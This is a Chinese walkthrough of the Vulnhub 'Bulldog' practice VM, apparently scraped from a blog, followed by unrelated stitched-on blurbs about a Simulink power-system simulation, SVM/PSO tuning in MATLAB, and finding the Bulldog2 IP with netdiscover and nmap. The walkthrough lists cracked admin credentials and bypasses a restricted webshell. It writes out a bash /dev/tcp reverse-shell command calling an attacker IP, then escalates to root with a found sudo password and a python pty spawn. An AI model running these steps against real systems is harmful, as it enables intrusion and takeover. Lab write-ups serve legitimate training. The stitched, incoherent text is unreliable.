Vulnhub 渗透练习(三)—— Bulldog

文章介绍了在VirtuallBox中进行环境搭建,通过设置网络为仅主机模式和桥接模式进行靶机连接。执行端口扫描发现开启的23端口,并尝试通过telnet登录。通过目录扫描和源码分析获取到网站信息,利用webshell进行操作,并通过特定命令反弹shell。进一步,文章展示了提权过程,找到sudo密码并使用Python打开新终端以获得root权限。

环境搭建

下载链接

在 virtuallBox 中打开靶机。

virtuallBox 网络连接方式设置为仅主机。
vmware 设置桥接模式的网卡为 VirtualBox Host-Only Ethernet Adapter。
kail 网络适配设置为 NAT 和 桥接。
来自:https://blog.youkuaiyun.com/LYJ20010728/article/details/119395324?spm=1001.2014.3001.5501

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如果还是有问题最简单的方法就是直接还原网络适配器的默认值。
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信息收集

端口扫描:

开了个 23 端口,如果有账密,直接 telnet 登录。
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目录扫描:
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/admin 提醒要是员工的用户名和密码。
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在 /dev 中有对网站的一些见解,比如这个网站是 Django 等等,有个 webshell 页面,不过要验证,估计有个 cookie 啥的,在源码中还有一串 hash,解密
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用这个登 Django 管理页面看下。

nick@bulldogindustries.com bulldog
sarah@bulldogindustries.com 	bulldoglover

成功
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webshell 可用。
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getshell

虽然说只能运行六个命令,但是我们可以用 echo 绕过。

ifconfig
ls
echo
pwd
cat
rm

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反弹 shell

echo 'bash -i >& /dev/tcp/192.168.56.102/9999 0>&1' | bash

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提权

在/home/bulldogadmin/.hiddenadmindirectory/customPermissionApp 中找到sudo的密码:SUPERultimatePASSWORDyouCANTget

疑似 root 密码
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提示我们要在终端上,那用 python 打开一个新终端
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成功 root

sudo python -c 'import pty;pty.spawn("/bin/bash")'
SUPERultimatePASSWORDyouCANTget

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【电力系统】单机无穷大电力系统短路故障暂态稳定Simulink仿真(带说明文档)内容概要:本文档围绕“单机无穷大电力系统短路故障暂态稳定Simulink仿真”展开,提供了完整的仿真模型与说明文档,重点研究电力系统在发生短路故障后的暂态稳定性问题。通过Simulink搭建单机无穷大系统模型,模拟不同类型的短路故障(如相短路),分析系统在故障期间及切除后的动态响应,包括发电机转子角度、转速、电压和功率等关键参数的变化,进而评估系统的暂态稳定能力。该仿真有助于理解电力系统稳定性机理,掌握暂态过程分析方法。; 适合人群:电气工程及相关专业的本科生、研究生,以及从事电力系统分析、运行与控制工作的科研人员和工程师。; 使用场景及目标:①学习电力系统暂态稳定的基本概念与分析方法;②掌握利用Simulink进行电力系统建模与仿真的技能;③研究短路故障对系统稳定性的影响及提高稳定性的措施(如故障清除时间优化);④辅助课程设计、毕业设计或科研项目中的系统仿真验证。; 阅读建议:建议结合电力系统稳定性理论知识进行学习,先理解仿真模型各模块的功能与参数设置,再运行仿真并仔细分析输出结果,尝试改变故障类型或系统参数以观察其对稳定性的影响,从而深化对暂态稳定问题的理解。
本研究聚焦于运用MATLAB平台,将支持向量机(SVM)应用于数据预测任务,并引入粒子群优化(PSO)算法对模型的关键参数进行自动调优。该研究属于机器学习领域的典型实践,其核心在于利用SVM构建分类模型,同时借助PSO的全局搜索能力,高效确定SVM的最优超参数配置,从而显著增强模型的整体预测效能。 支持向量机作为一种经典的监督学习方法,其基本原理是通过在高维特征空间中构造一个具有最大间隔的决策边界,以实现对样本数据的分类或回归分析。该算法擅长处理小规模样本集、非线性关系以及高维度特征识别问题,其有效性源于通过核函数将原始数据映射至更高维的空间,使得原本复杂的分类问题变得线性可分。 粒子群优化算法是一种模拟鸟群社会行为的群体智能优化技术。在该算法框架下,每个潜在解被视作一个“粒子”,粒子群在解空间中协同搜索,通过不断迭代更新自身速度与位置,并参考个体历史最优解和群体全局最优解的信息,逐步逼近问题的最优解。在本应用中,PSO被专门用于搜寻SVM中影响模型性能的两个关键参数——正则化参数C与核函数参数γ的最优组合。 项目所提供的实现代码涵盖了从数据加载、预处理(如标准化处理)、基础SVM模型构建到PSO优化流程的完整步骤。优化过程会针对不同的核函数(例如线性核、多项式核及径向基函数核等)进行参数寻优,并系统评估优化前后模型性能的差异。性能对比通常基于准确率、精确率、召回率及F1分数等多项分类指标展开,从而定量验证PSO算法在提升SVM模型分类能力方面的实际效果。 本研究通过一个具体的MATLAB实现案例,旨在演示如何将全局优化算法与机器学习模型相结合,以解决模型参数选择这一关键问题。通过此实践,研究者不仅能够深入理解SVM的工作原理,还能掌握利用智能优化技术提升模型泛化性能的有效方法,这对于机器学习在实际问题中的应用具有重要的参考价值。 资源来源于网络分享,仅用于学习交流使用,请勿用于商业,如有侵权请联系我删除!
### 关于VulnHub Bulldog2靶机无法扫描到IP的解决方案 在渗透测试过程中,如果遇到无法通过常规手段扫描到目标主机的情况,可以尝试多种技术组合来定位目标主机。以下是针对此问题的具体分析和建议: #### 使用ARP扫描工具 当标准的`ping`或`nmap`扫描未能发现目标主机时,可以通过局域网内的ARP广播请求找到活动设备。例如,在引用中提到的方法3使用了`netdiscover`命令[^3]: ```bash netdiscover -r 192.168.44.0/24 -i eth0 ``` 上述命令会向指定子网发送ARP请求并监听响应,从而识别出网络中的活跃主机。 #### 调整Nmap参数优化扫描效果 除了传统的ICMP Ping外,还可以利用TCP SYN包或其他协议类型的探测方式提高成功率。比如下面这条指令包含了服务版本检测(-sV),隐秘模式(SYN半开扫描-sS)以及调整时间模板至更快执行速度(T4)[^2]: ```bash nmap -sS -sV -T4 192.168.11.19 ``` 另外值得注意的是,有时防火墙可能阻止来自外部源地址的数据包进入内部网络;因此有必要确认Kali Linux所在环境与Bulldog2 VM之间确实处于同一物理或者逻辑二层交换结构下(即两者能够互相访问对方MAC层面的信息). #### 测试Telnet/TCP连接验证特定端口状态 即使整体Ping不通某个节点,但如果已知其开放的服务端口号,则可以直接发起相应层次上的握手过程来进行判断是否存在可交互对象。正如材料里所描述那样,“尝试远程连接23端口后失败。”这表明虽然telnet未成功建立session,但仍不失为一种排查思路之一[^1]. 综上所述,对于找不到vulnhub bulldog2 IP这一难题,可以从多个角度出发寻找突破口:一方面借助专门设计用于本地网段探索的应用程序如NetDiscover;另一方面灵活运用高级配置选项丰富的侦查利器-NMAP,并辅以其他辅助性操作进一步缩小范围直至最终锁定确切位置。 ```python import os def scan_network(): command = 'netdiscover -r 192.168.44.0/24 -i eth0' result = os.popen(command).read() print(result) scan_network() ```
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